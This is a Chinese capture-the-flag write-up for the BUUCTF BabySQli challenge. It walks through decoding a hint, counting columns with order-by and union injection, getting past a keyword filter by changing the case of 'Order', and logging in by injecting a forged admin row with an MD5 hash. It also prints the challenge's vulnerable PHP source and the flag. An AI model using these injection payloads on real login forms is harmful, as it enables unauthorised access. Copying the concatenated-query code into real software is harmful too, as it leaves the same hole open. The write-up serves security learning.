BUUCTF [GXYCTF2019]BabySQli
首先进入网站,是一个登录框,使用admin尝试一下。
之后对登录框做了一些常规的SQL注入也都是do not hack me!
但在登录后跳转的search.php页面的源代码中发现一段编码。
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5
发现是一段base32编码,解码后又是一段base64编码。
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
解码最终得到
select * from user where username = '$name'
所以知道了SQL语句后,用联合注入进行测试字段数。
在Burp Suite中修改POST数据:name=admin'order by 1#&pw=admin
得到的仍然是do not hack me!
如果fuzz一下可以发现or、order、information_schema被过滤了,但是order
可以通过Order
来进行绕过。
name=admin'Order by 3#&pw=admin
wrong pass!
name=admin'Order by 4#&pw=admin
Error: Unknown column '4' in 'order clause'
直到Order by 3回显都是wrong pass!。Order by 4时出现Error,说明可知字段数为3。
或者使用union注入来测试字段数。
name=admin'union select 1#&pw=admin
Error: The used SELECT statements have a different number of columns
name=admin'union select 1,2,3#&pw=admin
wrong pass!
直到union select 1,2,3时回显发生变化,说明SQL查询一共有三个字段。
根据提示可以知道是pass密码错误,所以是有admin这个账号的,那我们接下来测试用户这个字段到底在哪一个字段当中。
name=1'union select 'admin',2,3#&pw=admin
wrong user!
name=1'union select 1,'admin',3#&pw=admin
wrong pass!
由此可知第2个字段为user字段。
接下来的一步比较关键,我们需要找到search.php的源代码,通过审计代码才知道密码有md5加密。但是看帖子中说的原题目并没有给出。
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";
// 去除转义
if (get_magic_quotes_gpc()) {
function stripslashes_deep($value)
{
$value = is_array($value) ?
array_map('stripslashes_deep', $value) :
stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
$arr = mysqli_fetch_row($result);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
?>
本题考点:联合查询所查询的数据不存在时,联合查询会构造一个虚拟的数据(可手动复现一下)
构建payload:name=1'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1
其中我们使用联合查询后,会把name=admin,pw=c4ca4238a0b923820dcc509a6f75849b的数据临时存入数据库中,'c4ca4238a0b923820dcc509a6f75849b'就是'1'的md5值。我们输入的1经过md5加密与库中临时存入数据相符,也就成功登入。
得到flag{36b6b17e-16f6-486c-a756-8c73b9bb54be}
参考链接:
https://www.cnblogs.com/sfsec/p/15215102.html
https://blog.csdn.net/RABCDXB/article/details/113812068
SQL 注入总结